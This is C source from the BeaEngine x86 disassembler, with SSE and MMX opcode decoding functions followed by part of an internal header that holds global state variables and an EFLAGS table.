void __stdcall pmuludq_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmuludq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmuludq ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// =======================================
//      0x 0f b8
// =======================================
void __stdcall popcnt_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popcnt ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,114);
}


// ====================================================================
//      0x 0f f6
// ====================================================================
void __stdcall psadbw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SIMD64bits;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psadbw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psadbw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 00
// ====================================================================
void __stdcall pshufb_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 70
// ====================================================================
void __stdcall pshufw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SIMD128bits;
    // ========= 0xf3
    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufhw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    // ========= 0xf2
    else if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshuflw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }

    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
}

// ====================================================================
//      0x 0f 38 08
// ====================================================================
void __stdcall psignb_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + PACKED_SIGN;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignb ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + PACKED_SIGN;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignb ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 0a
// ====================================================================
void __stdcall psignd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + PACKED_SIGN;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + PACKED_SIGN;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignd ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 09
// ====================================================================
void __stdcall psignw_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + PACKED_SIGN;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignw ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION + PACKED_SIGN;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignw ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f fb
// ====================================================================
void __stdcall psubq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SIMD128bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SIMD128bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubq ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 38 17
// ====================================================================
void __stdcall ptest_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + PACKED_TEST;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ptest ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }

}

// ====================================================================
//      0x 0f 6c
// ====================================================================
void __stdcall punpcklqdq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SIMD128bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklqdq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }

}

// ====================================================================
//      0x 0f 6d
// ====================================================================
void __stdcall punpckhqdq_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SIMD128bits;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhqdq ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        FailDecode(pMyDisasm);
    }

}


// ====================================================================
//      0x 0f 53
// ====================================================================
void __stdcall rcpps_(PDISASM pMyDisasm)
{
    // ========== 0xf3
    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcpss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcpps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 3a 09
// ====================================================================
void __stdcall roundpd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + ROUND_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 3a 08
// ====================================================================
void __stdcall roundps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + ROUND_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 3a 0b
// ====================================================================
void __stdcall roundsd_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + ROUND_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 3a 0a
// ====================================================================
void __stdcall roundss_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION + ROUND_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
        EIP_++;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
    }
    else {
        FailDecode(pMyDisasm);
    }
}


// ====================================================================
//      0x 0f 52
// ====================================================================
void __stdcall rsqrtps_(PDISASM pMyDisasm)
{
    // ========== 0xf3
    if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rsqrtss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rsqrtps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f c6
// ====================================================================
void __stdcall shufps_(PDISASM pMyDisasm)
{

    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shufpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shufps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    (*pMyDisasm).Argument1.AccessMode = READ;
    EIP_++;
    if (!Security(0)) return;
    third_arg = 1;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
    (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
    (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument3.ArgSize = 8;
    ImmediatSize = 8;
}


// ====================================================================
//      0x 0f 51
// ====================================================================
void __stdcall sqrtps_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtps ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 5c
// ====================================================================
void __stdcall subps_VW(PDISASM pMyDisasm)
{
    // ========= 0xf2
    if (PrefRepne == 1) {
        (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix;
        OpSize = 104;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subsd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========= 0xf3
    else if (PrefRepe == 1) {
        (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    // ========== 0x66
    else if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subps ");
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}


// ====================================================================
//      0x 0f 2e
// ====================================================================
void __stdcall ucomiss_VW(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 103;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ucomisd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + COMPARISON_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ucomiss ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 15
// ====================================================================
void __stdcall unpckhps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpckhpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpckhps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}

// ====================================================================
//      0x 0f 14
// ====================================================================
void __stdcall unpcklps_(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpcklpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + SHUFFLE_UNPACK;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpcklps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}


// ====================================================================
//      0x 0f 57
// ====================================================================
void __stdcall xorps_VW(PDISASM pMyDisasm)
{
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xorpd ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 108;
        (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xorps ");
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
}
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LILXAM_SEHOP/BeaEngine/Includes/internal_datas.h

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

#define SBYTE signed char
#define SWORD signed short
#define SDWORD signed long

static long long EIP_, EIP_VA, EIP_REAL;
static long OperandSize;
static long OpSize;
static long AddressSize;
static int MOD_, RM_, INDEX_, SCALE_, BASE_, MMX_, SSE_, CR_, DR_, SEG_, REGOPCODE;
static long DECALAGE_EIP;
static long FORMATNUMBER;
static long SYNTAX_;
static long long EndOfBlock;
static int RelativeAddress;
static long Architecture;
static long ImmediatSize;
static long NB_PREFIX;
static long PrefRepe, PrefRepne;
static long SEGMENTREGS, SEGMENTFS;
static long third_arg;
static long TAB_;
static long ERROR_OPCODE;


EFLStruct EFLAGS_TABLE[] = {
    {UN_, UN_, UN_, MO_, UN_, MO_, 0  , 0  , 0  , 0  , 0},  // 0 - AAA
    {UN_, MO_, MO_, UN_, MO_, UN_, 0  , 0  , 0  , 0  , 0},  // 1 - AAD
    {UN_, MO_, MO_, UN_, MO_, UN_, 0  , 0  , 0  , 0  , 0},  // 2 - AAM
    {UN_, UN_, UN_, MO_, UN_, MO_, 0  , 0  , 0  , 0  , 0},  // 3 - AAS
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 4 - ADC
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 5 - ADD
    {RE_, MO_, MO_, UN_, MO_, RE_, 0  , 0  , 0  , 0  , 0},  // 6 - AND
    {0  , 0  , MO_, 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 7 - ARPL
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 8 - BOUND
    {UN_, UN_, MO_, UN_, UN_, UN_, 0  , 0  , 0  , 0  , 0},  // 9 - BSF/BSR

    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 10 - BSWAP
    {UN_, UN_, UN_, UN_, UN_, MO_, 0  , 0  , 0  , 0  , 0},  // 11 - BT/BTS/BTR/BTC
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 12 - CALL
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 13 - CBW
    {0  , 0  , 0  , 0  , 0  , RE_, 0  , 0  , 0  , 0  , 0},  // 14 - CLC
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , RE_, 0  , 0},  // 15 - CLD
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , RE_, 0  , 0  , 0},  // 16 - CLI
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 17 - CLTS
    {0  , 0  , 0  , 0  , 0  , MO_, 0  , 0  , 0  , 0  , 0},  // 18 - CMC
    {TE_, TE_, TE_, 0  , TE_, TE_, 0  , 0  , 0  , 0  , 0},  // 19 - CMOVcc

    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 20 - CMP
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 21 - CMPS
    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 22 - CMPXCHG
    {0  , 0  , MO_, 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 23 - CMPXCHGG8B
    {RE_, RE_, MO_, RE_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 24 - COMSID
    {RE_, RE_, MO_, RE_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 25 - COMISS
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 26 - CPUID
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 27 - CWD
    {UN_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 28 - DAA
    {UN_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 29 - DAS

    {MO_, MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 30 - DEC
    {UN_, UN_, UN_, UN_, UN_, UN_, 0  , 0  , 0  , 0  , 0},  // 31 - DIV
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 32 - ENTER
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 33 - ESC
    {0  , 0  , TE_, 0  , TE_, TE_, 0  , 0  , 0  , 0  , 0},  // 34 - FCMOV
    {0  , 0  , MO_, 0  , MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 35 - FCOMI FCOMIP FUCMI FUCMIP
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 36 - HLT
    {UN_, UN_, UN_, UN_, UN_, UN_, 0  , 0  , 0  , 0  , 0},  // 37 - IDIV
    {MO_, UN_, UN_, UN_, UN_, MO_, 0  , 0  , 0  , 0  , 0},  // 38 - IMUL
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 39 - IN

    {MO_, MO_, MO_, MO_, MO_, 0  , 0  , 0  , 0  , 0  , 0},  // 40 - INC
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , TE_, 0  , 0},  // 41 - INS
    {0  , 0  , 0  , 0  , 0  , 0  , RE_, 0  , 0  , RE_, 0},  // 42 - INT
    {TE_, 0  , 0  , 0  , 0  , 0  , RE_, 0  , 0  , RE_, 0},  // 43 - INTO
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 44 - INVD
    {0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0  , 0},  // 45 - INVLPG
    {RE_, RE_, MO_, RE_, MO_, MO_, 0  , 0  , 0  , 0  , 0},  // 46 - UCOMSID
